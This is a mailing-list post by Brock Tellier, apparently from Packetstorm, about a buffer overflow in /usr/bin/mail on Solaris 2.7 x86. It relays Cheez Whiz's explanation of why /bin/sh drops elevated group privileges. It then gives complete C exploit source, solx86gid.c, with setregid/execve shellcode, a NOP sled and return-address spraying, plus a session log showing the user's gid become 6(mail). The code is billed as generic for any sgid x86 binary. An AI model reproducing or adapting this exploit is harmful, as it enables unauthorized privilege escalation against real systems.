Solaris_x86_mail_exploit.txt

`Greetings,  
  
A few weeks ago I posted regarding an overflow in /usr/bin/mail on Solaris  
2.7. I incorrectly stated that mail drops privs before the overflow occurs.   
Cheez Whiz, who wrote the shellcode, saw my post on Packetstorm and supplied  
the following information:  
  
...The problem with your present exploit lies in the shell code that  
it uses. Have you read my posting to Bugtraq with regards to the way that  
/bin/sh under Solaris handles mismatches between real and effective UIDs?  
You can review it at:  
  
http://packetstormsecurity.org/9901-exploits/ufodump.c  
  
A little experimentation with /bin/sh on Solaris seems to suggest that it  
treats group IDs in a similar manner. If you try to execute a shell with  
an effective GID that does not match your real GID (as would be the case  
when the overflow in /usr/bin/mail happens) the shell abandons its special  
privilege. This is what is happening in your exploit.   
  
...  
  
This replacement shell code makes sure that the  
real GID of the process is equal to the effective GID before exec'ing the  
shell. It does setregid(getegid(), getegid()) since Solaris is a little  
quirky about setgid(), because setgid(setegid()) works on other UNIX systems  
but does not work on Solaris. This new shell code can be used against other  
SGID overflows, since it will work regardless of the privileged GID of the  
target binary. It's also 10 bytes longer than the previous code so make  
sure to reduce your NOP count by 10.  
  
Thus the new exploit works as follows:  
  
bash-2.02$ uname -a; id  
SunOS solhack 5.7 Generic_106542-05 i86pc i386 i86pc  
uid=136(btellier) gid=100(devel)  
bash-2.02$ /usr/bin/mail -m `./mailex 0 1975 2285` foo  
.  
$ id  
uid=136(btellier) gid=6(mail)  
$  
  
Brock Tellier  
UNIX Systems Administrator  
  
  
--- solx86gid.c ---  
/*  
* Generic Solaris x86 exploit program by Brock Tellier  
* For use against any x86 sgid binary  
* Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it  
doesn't match your real gid)  
* Will set gid=6(mail)  
*  
* gcc -o mailex solx86gid.c  
* /usr/bin/mail -m `./mailex 0 1975 2285` foo  
. <period, enter>  
$   
  
* Usage: ./mailex <offset> <NOPS> <BUFSIZE>  
*   
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
#define BUF 10000  
#define NOP 0x90  
  
  
char shell[] =  
/* 0 */ "\xeb\x45" /* jmp springboard */  
/* syscall: */  
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */  
/* 9 */ "\xc3" /* ret */  
/* start: */  
/* 10 */ "\x5e" /* popl %esi */  
/* 11 */ "\x31\xc0" /* xor %eax,%eax */  
/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */  
/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */  
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */  
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */  
/* setregid: */  
/* 25 */ "\x31\xc0" /* xor %eax,%eax */  
/* 27 */ "\xb0\x2f" /* movb $0x2f,%al */  
/* 29 */ "\xe8\xe0\xff\xff\xff" /* call syscall */  
/* 34 */ "\x52" /* pushl %edx */  
/* 35 */ "\x52" /* pushl %edx */  
/* 36 */ "\x31\xc0" /* xor %eax,%eax */  
/* 38 */ "\xb0\xcb" /* movb $0xcb,%al */  
/* 40 */ "\xe8\xd5\xff\xff\xff" /* call syscall */  
/* 45 */ "\x83\xc4\x08" /* addl $0x4,%esp */  
/* execve: */  
/* 48 */ "\x31\xc0" /* xor %eax,%eax */  
/* 50 */ "\x50" /* pushl %eax */  
/* 51 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */  
/* 54 */ "\x53" /* pushl %ebx */  
/* 55 */ "\x8d\x1e" /* leal (%esi),%ebx */  
/* 57 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */  
/* 60 */ "\x53" /* pushl %ebx */  
/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */  
/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */  
/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */  
/* springboard: */  
/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */  
/* data: */  
/* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */  
/* 84 */ "\xff\xff\xff\xff" /* DATA */  
/* 88 */ "\xff\xff\xff\xff"; /* DATA */  
  
unsigned long int nop;  
unsigned long int esp;  
long int offset;  
  
char buf[BUF];  
  
unsigned long int get_esp()  
{  
__asm__("movl %esp,%eax");  
}  
  
void  
main (int argc, char *argv[])  
{  
int buflen, i;  
  
  
if (argc > 1)  
offset = strtol(argv[1], NULL, 0);  
  
if (argc > 2)  
nop = strtoul(argv[2], NULL, 0);  
else  
nop = 285;  
  
if (argc > 3)  
buflen=atoi(argv[3]);  
else   
buflen=BUF;  
  
esp = get_esp();  
  
  
memset(buf, NOP, buflen);  
memcpy(buf+nop, shell, strlen(shell));  
for (i = nop+strlen(shell); i < buflen-4; i += 4)  
*((int *) &buf[i]) = esp+offset;  
  
for (i = 0; i < strlen(buf); i++) putchar(buf[i]);  
  
return;  
}  
  
------  
  
____________________________________________________________________  
Get free email and a permanent address at http://www.netaddress.com/?N=1  
`